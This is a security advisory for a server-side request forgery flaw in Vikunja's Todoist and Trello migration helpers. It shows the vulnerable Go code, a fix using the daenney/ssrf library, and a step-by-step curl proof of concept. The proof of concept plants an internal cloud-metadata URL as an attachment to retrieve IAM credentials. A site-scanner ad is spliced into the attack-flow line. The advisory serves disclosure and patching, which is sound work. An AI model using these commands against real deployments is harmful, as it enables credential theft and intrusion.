| Package | Affected versions | Patched versions |
|---|---|---|
| code.vikunja.io/api | < 2.2.1all versions | 2.2.1 |
| vikunja | < 2.2.1 | 2.2.1 |
The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.
The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.
Vulnerable code in pkg/modules/migration/helpers.go:38-59:
func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
if err != nil {
return nil, err
}
// ... headers added ...
hc := http.Client{}
resp, err := hc.Do(req)
// ... no URL validation, no IP filtering ...
buf = &bytes.Buffer{}
_, err = buf.ReadFrom(resp.Body) // no size limit
return
}
Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435):
if len(n.FileAttachment.FileURL) > 0 {
buf, err := migration.DownloadFile(n.FileAttachment.FileURL)
The FileURL is deserialized directly from the Todoist Sync API response (json:"file_url" tag at line 125) with no validation.
Call sites in Trello migration (pkg/modules/migration/trello/trello.go):
migration.DownloadFile(board.Prefs.BackgroundImage) — board backgroundmigration.DownloadFileWithHeaders(attachment.URL, ...) — card attachmentsmigration.DownloadFile(cover.URL) — card cover imagesNotably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.
Attack flow:
file_attachment.file_url set to an internal URL (e.g., )Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freehttp://169.254.169.254/latest/meta-data/iam/security-credentials/Prerequisites:
Step 1: Craft malicious Todoist data
Using the Todoist Sync API, create a note with an internal URL as the file attachment:
curl -X POST "https://api.todoist.com/sync/v9/sync" \
-H "Authorization: Bearer $TODOIST_TOKEN" \
-d 'commands=[{
"type": "note_add",
"temp_id": "ssrf-test-1",
"uuid": "550e8400-e29b-41d4-a716-446655440001",
"args": {
"item_id": "'$ITEM_ID'",
"content": "test note",
"file_attachment": {
"file_name": "metadata.txt",
"file_size": 1,
"file_type": "text/plain",
"file_url": "http://169.254.169.254/latest/meta-data/"
}
}
}]'
Step 2: Trigger migration on Vikunja
# Authenticate to Vikunja
TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password"}' | jq -r .token)
# Initiate Todoist OAuth flow
curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \
-H "Authorization: Bearer $TOKEN"
# After OAuth callback, trigger the migration
curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code":"<oauth_code>"}'
Step 3: Download the attachment containing internal data
# List tasks to find the attachment ID
curl -s "https://vikunja.example.com/api/v1/projects" \
-H "Authorization: Bearer $TOKEN"
# Download the attachment (contains response from internal URL)
curl -s "https://vikunja.example.com/api/v1/tasks/<task_id>/attachments/<attachment_id>" \
-H "Authorization: Bearer $TOKEN" -o metadata.txt
cat metadata.txt
# Expected: cloud instance metadata, internal service responses, etc.
An authenticated attacker can:
http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deploymentsbuf.ReadFrom(resp.Body) has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja serverThe attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.
Apply the same SSRF protection already used for webhooks (daenney/ssrf) to the migration HTTP clients. In pkg/modules/migration/helpers.go:
import (
"github.com/daenney/ssrf"
"code.vikunja.io/api/pkg/config"
)
func safeMigrationClient() *http.Client {
s, _ := ssrf.New(ssrf.WithAnyPort())
return &http.Client{
Transport: &http.Transport{
DialContext: (&net.Dialer{
Control: s.Safe,
}).DialContext,
},
}
}
func DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)
if err != nil {
return nil, err
}
for key, h := range headers {
for _, hh := range h {
req.Header.Add(key, hh)
}
}
hc := safeMigrationClient()
resp, err := hc.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
// Limit response body to 100MB to prevent memory exhaustion
buf = &bytes.Buffer{}
_, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))
return
}
Apply the same pattern to DoGetWithHeaders and DoPostWithHeaders in the same file.